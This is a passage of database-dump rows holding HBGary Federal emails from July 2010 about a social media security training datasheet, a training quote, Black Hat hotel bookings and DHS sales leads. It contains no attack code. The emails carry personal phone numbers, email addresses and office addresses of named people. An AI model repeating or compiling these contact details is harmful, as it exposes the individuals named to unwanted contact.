effective perspective to inform organizations on the potential  \r\n>> vulnerabilities of social media use, especially in those areas that  \r\n>> might not be obvious such as the aggregated information exposure  \r\n>> through use of multiple social media services across an  \r\n>> organizations staff.\r\n>> \r\n>> Training\r\n>> \r\n>> As is typical of most areas, technology has moved faster than  \r\n>> security.  Currently there are virtually no technologies that help  \r\n>> protect organizations from information exposure across the social  \r\n>> media landscape.  Our 1-day training program aims to familiarize  \r\n>> organizations with the social media landscape as well as  \r\n>> complementary technologies that will increase the potential for  \r\n>> information exposure in coming months and years.  The course  \r\n>> provides information on effective use of social media both for  \r\n>> personal and professional use and covers the risks of social media  \r\n>> use.  There is an interactive section of the course that covers some  \r\n>> information exploitation use cases using current popular social  \r\n>> media services and social reconnaissance techniques, where we  \r\n>> demonstrate the impact both personally and to organizations.  The  \r\n>> course ends with some protective measures that can be incorporated  \r\n>> into personal social media use and organizational policies and  \r\n>> directives to limit information exposure, as well we cover some  \r\n>> technologies that can be used to better monitor and block certain  \r\n>> types of information exposure.\r\n>> \r\n>> Course Curriculum\r\n>> \r\n>> Familiarization\r\n>> \r\n>> Effective Use\r\n>> \r\n>> Risks\r\n>> \r\n>> Use Cases\r\n>> \r\n>> Protective Measures\r\n>> \r\n>> Information Exposure Monitoring and PenTesting\r\n>> \r\n>> In today’s content rich social media environment each post, personal  \r\n>> link, or location check-in represents a data point, which because of  \r\n>> the open nature of the environment can be easily collected and  \r\n>> correlated to other data points, whether by company, profession,  \r\n>> association, or location.  Because of the volume of information and  \r\n>> the complexity of the potential relationships created it can be  \r\n>> difficult to comprehend the vulnerabilities created by seemingly  \r\n>> innocuous releases of information.  What people list on their  \r\n>> professional online profile, friends they associate with on their  \r\n>> personal profiles, messages they post, and places they check in can  \r\n>> tell a significant amount about a person.  Aggregated information  \r\n>> collected on individuals associated with a particular company or  \r\n>> organization can tell far more about the organizations internal  \r\n>> operations then they would likely want publically available.  HBGary  \r\n>> Federal provides information exposure monitoring services to  \r\n>> identify potential unintended releases of information across an  \r\n>> aggregate of social media services.\r\n>> \r\n>> \r\n>> \r\n>> On Jul 21, 2010, at 12:51 PM, John Verducci wrote:\r\n>> \r\n>>> Hi Aaron,\r\n>>> \r\n>>> I have not yet begun to work on your project as I have a couple of  \r\n>>> things ahead in the queue. I do most of my work in the Adobe  \r\n>>> Creative Suite including InDesign.\r\n>>> \r\n>>> Thanks\r\n>>> \r\n>>> John\r\n>>> \r\n>>> \r\n>>> On Jul 21, 2010, at 8:13 AM, Aaron Barr wrote:\r\n>>> \r\n>>>> Hi John,\r\n>>>> \r\n>>>> How are the graphics coming? Do you do In-design work?\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> On Jul 14, 2010, at 7:30 PM, John Verducci wrote:\r\n>>>> \r\n>>>>> Thanks Penny.\r\n>>>>> \r\n>>>>> Aaron - let me know what you need on these.\r\n>>>>> \r\n>>>>> Thanks\r\n>>>>> \r\n>>>>> John\r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> On Jul 14, 2010, at 3:56 PM, Penny Leavy-Hoglund wrote:\r\n>>>>> \r\n>>>>>> Aaron, you\'ll have to explain to John what you want, what you  \r\n>>>>>> sent doesn\'t\r\n>>>>>> make sense to me\r\n>>>>>> \r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>>> Sent: Wednesday, July 14, 2010 9:20 AM\r\n>>>>>> To: Penny Leavy\r\n>>>>>> Subject: 3 graphic requests to follow\r\n>>>>>> \r\n>>>>>> First one is the top image for the datasheet.  You can download  \r\n>>>>>> the icons at\r\n>>>>>> http://icons.mysitemyway.com/category/black-ink-grunge-stamps-textures-icons\r\n>>>>>> /\r\n>>>>>> I would like the HBGary logo to stand out but fit in the grunge  \r\n>>>>>> style.  2\r\n>>>>>> more requests to follow.\r\n>>>>>> \r\n>>>>>> I would use the following ones:\r\n>>>>>> blogger\r\n>>>>>> digg\r\n>>>>>> facebook\r\n>>>>>> flickr\r\n>>>>>> google\r\n>>>>>> hi5\r\n>>>>>> linkedin\r\n>>>>>> myspace\r\n>>>>>> orkut\r\n>>>>>> reddit\r\n>>>>>> skype\r\n>>>>>> technorati\r\n>>>>>> twitter\r\n>>>>>> wordpress\r\n>>>>>> yahoo\r\n>>>>>> youtube\r\n>>>>>> yelp\r\n>>>>>> \r\n>>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> ______________________\r\n>>>>> \r\n>>>>> John Verducci\r\n>>>>> Studio Em Graphic Design\r\n>>>>> \r\n>>>>> 974 Yorkshire Drive\r\n>>>>> Los Altos, California 94024\r\n>>>>> \r\n>>>>> 650.962.9200 Direct\r\n>>>>> 650.961.8801 Fax\r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>> \r\n>>> \r\n>>> ______________________\r\n>>> \r\n>>> John Verducci\r\n>>> Studio Em Graphic Design\r\n>>> \r\n>>> 974 Yorkshire Drive\r\n>>> Los Altos, California 94024\r\n>>> \r\n>>> 650.962.9200 Direct\r\n>>> 650.961.8801 Fax\r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> \r\n> ______________________\r\n> \r\n> John Verducci\r\n> Studio Em Graphic Design\r\n> \r\n> 974 Yorkshire Drive\r\n> Los Altos, California 94024\r\n> \r\n> 650.962.9200 Direct\r\n> 650.961.8801 Fax\r\n> \r\n> \r\n> \r\n> \r\n> \r\n',12039,'aaron_hbgary_com/12039.html'),(9192,'2010-07-27','\"Brian Coulson\" <bcoulson@digitalglobe.com>','/aaron@hbgary.com/new/1297007085.M862369P14101Q4047.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','RE: Social Media Training','Ted,\r\n\r\nHi! Thank you again! I\'ve forwarded to my manager Dan Collender so we\r\ncan discuss further.\r\n\r\nSincerely,\r\nBrian Coulson\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Monday, July 26, 2010 1:10 PM\r\nTo: Brian Coulson\r\nCc: Barr Aaron\r\nSubject: Social Media Training\r\n\r\nHello Brian,\r\n\r\nAttached is a quote for the Social Media training we discussed.  We\r\nprovided a deep volume discount for the pricing, and tried to make it\r\nflexible to accommodate for an uncertain number of attendees.  Please\r\nreview and feel free to contact me if you have any questions.\r\n\r\nRegards,\r\nTed\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\nThis electronic communication and any attachments may contain confidential and proprietary \r\ninformation of DigitalGlobe, Inc. If you are not the intended recipient, or an agent or employee \r\nresponsible for delivering this communication to the intended recipient, or if you have received \r\nthis communication in error, please do not print, copy, retransmit, disseminate or \r\notherwise use the information. Please indicate to the sender that you have received this \r\ncommunication in error, and delete the copy you received. DigitalGlobe reserves the \r\nright to monitor any electronic communication sent or received by its employees, agents \r\nor representatives.\r\n\r\n',7127,'aaron_hbgary_com/7127.html'),(9193,'2010-07-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007086.M393935P14101Q4049.eml','\"Penny Leavy\" <penny@hbgary.com>','Caesars','How much are the rooms a night?  I didn\'t get a confirmation and was thinking of booking at the cheaper bales of Caesars was too much.\r\n\r\nAaron\r\n\r\nSent from my iPhone',12859,'aaron_hbgary_com/12859.html'),(9194,'2010-07-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007086.M72926P14101Q4048.eml','\"Ted Vera\" <ted@hbgary.com>','Check','Can u send it attention to penny at ceasars?  I couldn\'t log on yesterday to get a room.  I will in transit today but don\'t want it going to a hotel I won\'t be at.\r\n\r\nAaron\r\n\r\nSent from my iPhone',16534,'aaron_hbgary_com/16534.html'),(9195,'2010-07-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007091.M102866P14101Q4050.eml','\"Ted Vera\" <ted@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fwd: 3 graphic requests to follow','Looks good.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nBegin forwarded message:\r\n\r\n> From: John Verducci \r\n> Date: July 26, 2010 6:08:44 PM CDT\r\n> To: Aaron Barr \r\n> Subject: Re: 3 graphic requests to follow\r\n> \r\n\r\n> Hi Aaron\r\n> \r\n> Attached is the first draft of the social media datasheet. I used the same layout as I have done for Penny so that it will fit into the HB Gary family look and feel.\r\n> \r\n> Take a look and let me know when you have some feedback.\r\n> \r\n> FYI - I am out of town next week so we should try and wrap this up by Friday.\r\n> \r\n> Thanks!\r\n> \r\n> John\r\n> \r\n> \r\n> \r\n> \r\n> On Jul 26, 2010, at 10:46 AM, Aaron Barr wrote:\r\n> \r\n>> Text.\r\n>> \r\n>> Can you give me a call when you get a sec.  719.510.8478\r\n>> \r\n>> Information Reconnaissance and Exploitation\r\n>> \r\n>> Sixty five percent of Americans use social media services with nearly half using them more than once per day. Ninety-six percent of Americans between the ages of 18-35 use at least one social media service. \r\n>> \r\n>> The explosive growth of social media has created a highly effective channel for the collection and aggregation of personal and organizational information for the purposes of tailoring content for users.  To Interact in a social media ecosystem requires some release of personally identifiable information (PII), in fact with most services the more information you provide the more tailored and beneficial the experience.  In most cases these are legitimate reasons for providing the information with tangible user benefits, whether it be to more personalize and localize advertising or tailored and real-time information delivery that increases personal productivity.  Unfortunately the same methods are being used to conduct information reconnaissance and exploitation.  The most common current examples are spear-phishing attacks.  Future social media exploitation tactics will likely be applications and service that provide personal benefit or entertainment, but serving a dual purpose to collect information that can be used for more insidious purposes.  This marks a new class of exploitation, vehicles directly targeting people rather than the machines they use, Infoware. \r\n>> \r\n>> Consulting\r\n>> \r\n>> Not all Social Media services are created equal.  In many cases understanding the proper uses for each of the social media types and informing organization personnel of best practices and potential risks can alleviate a lot of confusion and information control issues.  HBGary Federal staff is comprised of social media technologists, designers and developers as well as cybersecurity and malware experts to assist your organization in effective use of social media communications and collaboration tools while maintaining a manageable security architecture.  Our in-depth knowledge of the possibilities of information exploitation gives us an effective perspective to inform organizations on the potential vulnerabilities of social media use, especially in those areas that might not be obvious such as the aggregated information exposure through use of multiple social media services across an organizations staff.\r\n>> \r\n>> Training\r\n>> \r\n>> As is typical of most areas, technology has moved faster than security.  Currently there are virtually no technologies that help protect organizations from information exposure across the social media landscape.  Our 1-day training program aims to familiarize organizations with the social media landscape as well as complementary technologies that will increase the potential for information exposure in coming months and years.  The course provides information on effective use of social media both for personal and professional use and covers the risks of social media use.  There is an interactive section of the course that covers some information exploitation use cases using current popular social media services and social reconnaissance techniques, where we demonstrate the impact both personally and to organizations.  The course ends with some protective measures that can be incorporated into personal social media use and organizational policies and directives to limit information exposure, as well we cover some technologies that can be used to better monitor and block certain types of information exposure.\r\n>> \r\n>> Course Curriculum\r\n>> \r\n>> Familiarization\r\n>> \r\n>> Effective Use\r\n>> \r\n>> Risks\r\n>> \r\n>> Use Cases\r\n>> \r\n>> Protective Measures\r\n>> \r\n>> Information Exposure Monitoring and PenTesting\r\n>> \r\n>> In today’s content rich social media environment each post, personal link, or location check-in represents a data point, which because of the open nature of the environment can be easily collected and correlated to other data points, whether by company, profession, association, or location.  Because of the volume of information and the complexity of the potential relationships created it can be difficult to comprehend the vulnerabilities created by seemingly innocuous releases of information.  What people list on their professional online profile, friends they associate with on their personal profiles, messages they post, and places they check in can tell a significant amount about a person.  Aggregated information collected on individuals associated with a particular company or organization can tell far more about the organizations internal operations then they would likely want publically available.  HBGary Federal provides information exposure monitoring services to identify potential unintended releases of information across an aggregate of social media services.\r\n>> \r\n>> \r\n>> \r\n>> On Jul 21, 2010, at 12:51 PM, John Verducci wrote:\r\n>> \r\n>>> Hi Aaron,\r\n>>> \r\n>>> I have not yet begun to work on your project as I have a couple of things ahead in the queue. I do most of my work in the Adobe Creative Suite including InDesign.\r\n>>> \r\n>>> Thanks\r\n>>> \r\n>>> John\r\n>>> \r\n>>> \r\n>>> On Jul 21, 2010, at 8:13 AM, Aaron Barr wrote:\r\n>>> \r\n>>>> Hi John,\r\n>>>> \r\n>>>> How are the graphics coming? Do you do In-design work?\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> On Jul 14, 2010, at 7:30 PM, John Verducci wrote:\r\n>>>> \r\n>>>>> Thanks Penny.\r\n>>>>> \r\n>>>>> Aaron - let me know what you need on these.\r\n>>>>> \r\n>>>>> Thanks\r\n>>>>> \r\n>>>>> John\r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> On Jul 14, 2010, at 3:56 PM, Penny Leavy-Hoglund wrote:\r\n>>>>> \r\n>>>>>> Aaron, you\'ll have to explain to John what you want, what you sent doesn\'t\r\n>>>>>> make sense to me\r\n>>>>>> \r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>>> Sent: Wednesday, July 14, 2010 9:20 AM\r\n>>>>>> To: Penny Leavy\r\n>>>>>> Subject: 3 graphic requests to follow\r\n>>>>>> \r\n>>>>>> First one is the top image for the datasheet.  You can download the icons at\r\n>>>>>> http://icons.mysitemyway.com/category/black-ink-grunge-stamps-textures-icons\r\n>>>>>> /\r\n>>>>>> I would like the HBGary logo to stand out but fit in the grunge style.  2\r\n>>>>>> more requests to follow.\r\n>>>>>> \r\n>>>>>> I would use the following ones:\r\n>>>>>> blogger\r\n>>>>>> digg\r\n>>>>>> facebook\r\n>>>>>> flickr\r\n>>>>>> google\r\n>>>>>> hi5\r\n>>>>>> linkedin\r\n>>>>>> myspace\r\n>>>>>> orkut\r\n>>>>>> reddit\r\n>>>>>> skype\r\n>>>>>> technorati\r\n>>>>>> twitter\r\n>>>>>> wordpress\r\n>>>>>> yahoo\r\n>>>>>> youtube\r\n>>>>>> yelp\r\n>>>>>> \r\n>>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> ______________________\r\n>>>>> \r\n>>>>> John Verducci\r\n>>>>> Studio Em Graphic Design\r\n>>>>> \r\n>>>>> 974 Yorkshire Drive\r\n>>>>> Los Altos, California 94024\r\n>>>>> \r\n>>>>> 650.962.9200 Direct\r\n>>>>> 650.961.8801 Fax\r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>> \r\n>>> \r\n>>> ______________________\r\n>>> \r\n>>> John Verducci\r\n>>> Studio Em Graphic Design\r\n>>> \r\n>>> 974 Yorkshire Drive\r\n>>> Los Altos, California 94024\r\n>>> \r\n>>> 650.962.9200 Direct\r\n>>> 650.961.8801 Fax\r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> \r\n> ______________________\r\n> \r\n> John Verducci\r\n> Studio Em Graphic Design\r\n> \r\n> 974 Yorkshire Drive\r\n> Los Altos, California 94024\r\n> \r\n> 650.962.9200 Direct\r\n> 650.961.8801 Fax\r\n> \r\n> \r\n> \r\n> \r\n',15914,'aaron_hbgary_com/15914.html'),(9196,'2010-07-27','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297007091.M670294P14101Q4051.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Crazy movie','Sad, scary, artsy, sexy, a f\'ing mind trip. Definitely not kid friendly. Watching it wore me out, I think I need to go to church now. &nbsp;&nbsp;Stars the guy who played the green goblin in spiderman.&nbsp;TvAntichrist2009TV-MA108 minutesAfter their child dies, a therapist (Willem Dafoe) and his wife (Charlotte Gainsbourg) flee to their cabin in the woods, where they hope to mend their emotional wounds. But the grief-stricken couple watches their troubles multiply when very strange things begin to happen. Acclaimed Danish auteur Lars von Trier divides this tale into multiple narratives, revealing a surreal, horrific psychological adventure about the evils of nature, humanity and desire.Cast:Willem Dafoe,&nbsp;Charlotte GainsbourgDirector:Lars von TrierGenres:Horror,&nbsp;Supernatural Horror,&nbsp;Scandinavia,&nbsp;Indie Suspense &amp; Thriller,&nbsp;Erotic Thrillers,&nbsp;Steamy Romance,&nbsp;Blu-rayThis movie is:Suspenseful,&nbsp;Mind-bending,&nbsp;Cerebral,&nbsp;ViolentFormat:streaming&nbsp;(DVD and Blu-ray availability date unknown) (HD available)',2546,'aaron_hbgary_com/2546.html'),(9197,'2010-07-27','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297007091.M966521P14101Q4052.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','PLEASE READ: Aaron Barr Fingerprint Blogpost','Hi Greg and Aaron, Please review final blogpost on Fingerprint. Greg, please review as well -&gt; I want to be sure the tool&#39;s description is close or matches what we plan to put up on our site tomorrow after your talk. We also need to confirm exact spelling of product: Fingerprint or FingerPrint. I want to be sure HBGary is putting out same message on tool. Aaron, please also give it a final review. Thanks so much for writing it. I think it is very good. Once you have both approved, I will give to Charles to post on our site once our tool is released (after Greg&#39;s talk tomorrow around 12 PM PT).\r\n\r\n \r\nI&#39;d also like to repurpose the blog post to pitch interviews for Aaron for the government pubs.Thank you.  \r\n \r\n \r\n',3967,'aaron_hbgary_com/3967.html'),(9198,'2010-07-27','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007092.M363564P14101Q4053.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','DHS','Aaron / TedChris Howell is in counterintelligence &amp; investigations under the SCO at DHS Jerry Williams.  He has approval to purchase (4) Responder Pro with next year budget -- he attended Greg&#39;s presentation...\r\nTwo areas to explore1. He is checking with his supervisor and asking if they can POC Active Defense for investigations -- he said his department shouldn&#39;t have obstacles to getting on production systems if they choose to go forward.  Next step I call back in 2 weeks.\r\n2. Security Training and awareness comes under Jerry Williams -- if you have not yet explored training here I can ask Chris for a DHS training contact for you.Do you have contacts in this group?  This is where we can sell training I suspect :)\r\nMariaChief Security Officer Jerry Williams \r\nJerry Williams was appointed as the Chief Security Officer (CSO) for the Department of Homeland Security (DHS) on July 31, 2007. He was first assigned to DHS as the Deputy CSO in 2005. Mr. Williams directs policy and oversight related to security activities for the 32 Components and over 208,000 employees that comprise DHS. He develops policy and procedures in the following major areas: Personnel Security; Special Security Programs; Administrative Security; Physical Security; Counterintelligence &amp; Investigations; Operations Security; and Security Training and Awareness. As CSO, he also supports the Chief Information Officer in the area of security policy related to the IT environment. \r\nMr. Williams is responsible for investigating all counterintelligence incidents and anomalies, in coordination with the component Intelligence/Security organizations, as necessary. He ensures that the Office of Security maintains and operates capabilities for detecting anomalies and for investigative follow up in conjunction with appropriate law enforcement and counterintelligence agencies. He also takes all appropriate actions to recruit, train, and manage a cadre of skilled counterintelligence personnel.\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',8156,'aaron_hbgary_com/8156.html'),(9199,'2010-07-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007092.M591245P14101Q4054.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Re: DHS','Brian Christos used to work in support of some senior folks at DHS. &nbsp;He had a counterpart Dix Dallas I cam reach out to as well to get DHS contacts but I don\'t have any direct ones.AaronSent from my iPhoneOn Jul 27, 2010, at 10:16 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:Aaron / TedChris Howell is in counterintelligence &amp; investigations under the SCO at DHS Jerry Williams. &nbsp;He has approval to purchase (4) Responder Pro with next year budget -- he attended Greg\'s presentation...\r\nTwo areas to explore1. He is checking with his supervisor and asking if they can POC Active Defense for investigations -- he said his department shouldn\'t have obstacles to getting on production systems if they choose to go forward. &nbsp;Next step I call back in 2 weeks.\r\n2. Security Training and awareness comes under Jerry Williams -- if you have not yet explored training here I can ask Chris for a DHS training contact for you.Do you have contacts in this group? &nbsp;This is where we can sell training I suspect :)\r\nMariaChief Security Officer Jerry Williams&nbsp;\r\nJerry Williams was appointed as the Chief Security Officer (CSO) for the Department of Homeland Security (DHS) on July 31, 2007. He was first assigned to DHS as the Deputy CSO in 2005.&nbsp;Mr. Williams directs policy and oversight related to security activities for the 32 Components and over 208,000 employees that comprise DHS. He develops policy and procedures in the following major areas: Personnel Security; Special Security Programs; Administrative Security; Physical Security; Counterintelligence &amp; Investigations; Operations Security; and Security Training and Awareness. As CSO, he also supports the Chief Information Officer in the area of security policy related to the IT environment.&nbsp;\r\nMr. Williams is responsible for investigating all counterintelligence incidents and anomalies, in coordination with the component Intelligence/Security organizations, as necessary. He ensures that the Office of Security maintains and operates capabilities for detecting anomalies and for investigative follow up in conjunction with appropriate law enforcement and counterintelligence agencies. He also takes all appropriate actions to recruit, train, and manage a cadre of skilled counterintelligence personnel.\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n',1332,'aaron_hbgary_com/1332.html'),(9200,'2010-07-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007092.M802814P14101Q4055.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Re: DHS','A contact would be great, thank you.AaronSent from my iPhoneOn Jul 27, 2010, at 10:16 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:Aaron / TedChris Howell is in counterintelligence &amp; investigations under the SCO at DHS Jerry Williams. &nbsp;He has approval to purchase (4) Responder Pro with next year budget -- he attended Greg\'s presentation...\r\nTwo areas to explore1. He is checking with his supervisor and asking if they can POC Active Defense for investigations -- he said his department shouldn\'t have obstacles to getting on production systems if they choose to go forward. &nbsp;Next step I call back in 2 weeks.\r\n2. Security Training and awareness comes under Jerry Williams -- if you have not yet explored training here I can ask Chris for a DHS training contact for you.Do you have contacts in this group? &nbsp;This is where we can sell training I suspect :)\r\nMariaChief Security Officer Jerry Williams&nbsp;\r\nJerry Williams was appointed as the Chief Security Officer (CSO) for the Department of Homeland Security (DHS) on July 31, 2007. He was first assigned to DHS as the Deputy CSO in 2005.&nbsp;Mr. Williams directs policy and oversight related to security activities for the 32 Components and over 208,000 employees that comprise DHS. He develops policy and procedures in the following major areas: Personnel Security; Special Security Programs; Administrative Security; Physical Security; Counterintelligence &amp; Investigations; Operations Security; and Security Training and Awareness. As CSO, he also supports the Chief Information Officer in the area of security policy related to the IT environment.&nbsp;\r\nMr. Williams is responsible for investigating all counterintelligence incidents and anomalies, in coordination with the component Intelligence/Security organizations, as necessary. He ensures that the Office of Security maintains and operates capabilities for detecting anomalies and for investigative follow up in conjunction with appropriate law enforcement and counterintelligence agencies. He also takes all appropriate actions to recruit, train, and manage a cadre of skilled counterintelligence personnel.\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n',579,'aaron_hbgary_com/579.html'),(9201,'2010-07-27','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297007093.M323111P14101Q4057.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Black Hat Info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nI was out of the office last week, but I did send you your confirmation\r\non the July 13.&nbsp; The price is 169 a night.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento, CA&nbsp; 95864\r\n\r\nTel:&nbsp; 916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail&nbsp; deeann@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, July 26, 2010 10:55 AM\r\nTo: DeeAnn Buonaccorsi\r\nSubject: Re: Black Hat Info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDeeAnn,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI didn\'t receive confirmation. &nbsp;How much are the rooms\r\na night? &nbsp;If they are too much I was thinking of booking Ballys across the\r\nstreet.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 13, 2010, at 4:53 PM, DeeAnn Buonaccorsi wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nGuys,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYou\r\nare expected to be at this how July 27-29.&nbsp; I have made Hotel reservations\r\nfor all that will be attending.&nbsp; You should have &nbsp;Caesars Palace\r\n&nbsp;confirmation. &nbsp;&nbsp;Below are the set up and break down\r\ninstructions.&nbsp; Please contact me if you have any questions.&nbsp;&nbsp;\r\nReminder:&nbsp; I still need flight info from most of you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDisplay\r\nset-up is on July 26 from 15:00-18:00 and Tuesday, July 27 from 09:00&#8211;18:00.\r\nSet-up is best\r\n\r\n\r\n\r\n\r\n\r\ndone before\r\n18:00 when GES staff are available. You will need to be fully ready to go by\r\n08:00 on\r\n\r\n\r\n\r\n\r\n\r\nJuly 28.\r\nTeardown will begin at 16:45 on July 29, with crates not available until 16:45.&nbsp;Under no\r\n\r\n\r\n\r\n\r\n\r\ncircumstances\r\nare sponsors permitted to tear down in advance of these times without written\r\n\r\n\r\n\r\n\r\n\r\npermission\r\nfrom Black Hat management.&nbsp;The displays need not be fully staffed\r\nall of the time, and\r\n\r\n\r\n\r\n\r\n\r\nwe expect\r\nthat staffing will be most productive during the continental breakfasts and\r\ncoffee breaks on\r\n\r\n\r\n\r\n\r\n\r\nJuly 28 and\r\n29. Please refer to the schedule on the Black Hat website. Repeating the format\r\nof last\r\n\r\n\r\n\r\n\r\n\r\nyear, the\r\nHosted Reception will be held from 18:00-19:30 on the evening of July 28, mixed\r\nin and\r\n\r\n\r\n\r\n\r\n\r\naround all of\r\nthe displays. You may use your own judgment re staffing levels during these\r\ntimes.\r\n\r\n\r\n\r\n\r\n\r\nYour company\r\nhas already been assigned space at the time you reserved your sponsorship. All\r\n\r\n\r\n\r\n\r\n\r\nlocations\r\nhave equal access to the delegates.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\n\r\n\r\n\r\n\r\nOffice Manager\r\n\r\n\r\n\r\n\r\n\r\nHBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\n3604 Fair Oaks Blvd.&nbsp; Suite 250\r\n\r\n\r\n\r\n\r\n\r\nSacramento, CA&nbsp; 95864\r\n\r\n\r\n\r\n\r\n\r\nTel:&nbsp; 916-459-4727 ext. 101\r\n\r\n\r\n\r\n\r\n\r\nFax: 916-481-1460\r\n\r\n\r\n\r\n\r\n\r\nEmail&nbsp;&nbsp;deeann@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5613,'aaron_hbgary_com/5613.html'),(9202,'2010-07-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007093.M551637P14101Q4058.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>,\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Re: Black Hat Info','I am sure you did. &nbsp;I have a tendency to loose things from time to time, just ask Ted. &nbsp;:). Could you cancel the Caesars and book me a room at ballys by chance? &nbsp;We are on a tight budget, if it\'s too late that\'s ok.AaronSent from my iPhoneOn Jul 27, 2010, at 10:33 AM, \"DeeAnn Buonaccorsi\" &lt;deeann@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nI was out of the office last week, but I did send you your confirmation\r\non the July 13.&nbsp; The price is 169 a night.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn 